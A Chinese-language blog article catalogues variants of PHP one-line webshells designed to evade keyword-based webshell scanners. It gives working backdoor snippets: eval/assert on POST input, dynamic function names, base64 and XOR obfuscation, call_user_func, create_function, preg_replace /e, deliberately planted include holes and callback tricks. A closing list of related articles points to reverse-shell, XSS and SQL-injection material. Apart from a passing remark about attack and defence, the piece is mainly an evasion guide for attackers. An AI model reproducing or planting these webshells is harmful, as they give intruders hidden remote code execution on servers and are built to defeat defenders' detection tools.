PHP一句話Webshell變形總結(jié)

0×00 前言
大部分Webshell查殺工具都是基于關(guān)鍵字特征的,通常他們會(huì)維護(hù)一個(gè)關(guān)鍵字列表,以此遍歷指定擴(kuò)展名的文件來進(jìn)行掃描,所以可能最先想到的是各種字符串變形,下面總結(jié)了一些小的方法,各種不足之前還請(qǐng)看官拍磚.
0×01 字符串上的舞蹈
一般標(biāo)準(zhǔn)的一句話Webshell是利用PHP的eval函數(shù),動(dòng)態(tài)執(zhí)行其他函數(shù)功能.其標(biāo)準(zhǔn)的形式如下:
@eval ($_POST[xxxxx]);
很明顯的eval會(huì)成為靜態(tài)特征碼Webshell掃描工具的關(guān)鍵字.加上一點(diǎn)小技巧,我們讓其動(dòng)態(tài)傳入,或者利用base64等編碼函數(shù)來進(jìn)行繞過
@$_GET[a]($_POST[xxxxx]);or
@base64_decode(base64編碼過的eval)
當(dāng)然,掃一眼PHP手冊(cè),玩轉(zhuǎn)字符串的函數(shù)遠(yuǎn)不止這些,你可以寫一個(gè)自定義加解密的函數(shù),或者利用xor,字符串反轉(zhuǎn),壓縮,截?cái)嘀亟M等方法來繞過.
另外大多數(shù)Webshell的查殺工具很少把a(bǔ)ssert函數(shù)加入到關(guān)鍵字列表中,不過隨著使用的人越來越多也不是絕對(duì)的,我們也可以用assert替換eval來執(zhí)行猥瑣的功能.
以前在ASP一句話Webshell的變形過程中,打亂和拆分文件也是非常常用的功能,這里也記一筆.用require,include等將字符串拆分再重組.或者將加密好的字符串單獨(dú)放在任意擴(kuò)展名文件中,利用解密函數(shù)讀取文件來執(zhí)行,這里寫一個(gè)base64比較簡單的例子
file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));
字符串的各種猥瑣還是很多的,最致命的地方是,如果有基于語義分析的查殺工具露面(我印象中是有的)這些都完蛋 –__-!
0×02 利用PHP函數(shù)的一些特性
這一小段其實(shí)還是建立在玩轉(zhuǎn)了字符串的基礎(chǔ)上的,一個(gè)小例子
if(key($_GET)=='xxxxxx')call_user_func($_GET[xxx],$_POST[evil]);好吧,我承認(rèn)這有點(diǎn)換湯不換藥,這種類型的就是遇到WAF都掛b,因?yàn)榛旧隙际腔趧?dòng)態(tài)傳入?yún)?shù)的,然后利用PHP函數(shù)換了個(gè)形式執(zhí)行而已,最終還是調(diào)用eval,下面是一個(gè)小小的延伸
$x=create_function('',$_GET[x]); $x();再掃一眼PHP手冊(cè),我們?cè)凇陡呒?jí)PHP漏洞審計(jì)》讀到過還有其他一些帶有執(zhí)行功能的函數(shù),比如經(jīng)常用的preg_replace加/e參數(shù)的黃金組合,這類一句話Webshell也算是比較常見的了.總結(jié)起來他們可以算作是人為的構(gòu)造一些PHP代碼上的漏洞.比如
$f=$_GET[x];include($f);這樣構(gòu)造一個(gè)包含漏洞出來,或者
$s= copy,movefile ; //…. etc$s(參數(shù)調(diào)用)比如copy($_FILES[t][src],$_FILES[t][dst]);利用一些文件操作函數(shù)來猥瑣一些小動(dòng)作,再或者來個(gè)preg_replace執(zhí)行漏洞的經(jīng)典例子
$t= prege_replace;$t("/[xxx]/e",$_POST[x],"Hah!~");這一方面能發(fā)散的地方還有很多,還是得多瞅瞅PHP手冊(cè),因?yàn)镻HP的相關(guān)函數(shù)真是太猥瑣了.
0×03 利用PHP的一些魔法特性
不知道能不能把PHP的多態(tài)性叫做魔法特性,錯(cuò)誤之處還請(qǐng)指出.看過Ryat和Qz牛的文章后會(huì)更好理解,老外給過一個(gè)經(jīng)典的例子
($_=@$_GET[2]).@$_($_POST[1]);and
$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");or
${'_'.$_}['_'](${'_'.$_}['__']);當(dāng)然我們實(shí)際不會(huì)這么去寫,因?yàn)楣芾韱T瞅一眼就明白你是要做壞事了.這其中也結(jié)合了移位運(yùn)算等,算是寫得很花哨了 – -~
經(jīng)常用MVC之類的框架搞開發(fā),都能發(fā)現(xiàn)__autoload函數(shù)的好處,自己文件名去new一個(gè)類,然后在類中你可以在構(gòu)造函數(shù)做點(diǎn)手腳什么的,而這一類函數(shù)在PHP中也是有不少的,我們可以猥瑣一下加以利用.
另外常見的ob_start等利用PHP函數(shù)的回調(diào)特性也是有的,其實(shí)覺得應(yīng)該把這個(gè)分類放到上一小節(jié),之前和wulin牛也討論過這種方式加密過的馬的解密,不過現(xiàn)在大多數(shù)Webshell查殺工具都應(yīng)該把它加到關(guān)鍵字了吧.
0×04 未完結(jié)
我一直相信還有更加猥瑣的方式等等,攻防對(duì)立,也可以參考 核攻擊
大牛在其lcx.cc上發(fā)布的討論怎么從一萬多個(gè)文件中快速定位Webshell來見招拆招.引用黑防之前一句很裝13的話作為結(jié)語:在攻與防的對(duì)立中尋求統(tǒng)一.歡迎更多同學(xué)加入討論~
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒有進(jìn)行足夠的檢測導(dǎo)致的一處getshell,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語句(完整版)
這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對(duì)于目前流行的sql注入,程序員在編寫程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過技術(shù) XSS插入繞過一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類2016-12-27Python 爬蟲使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08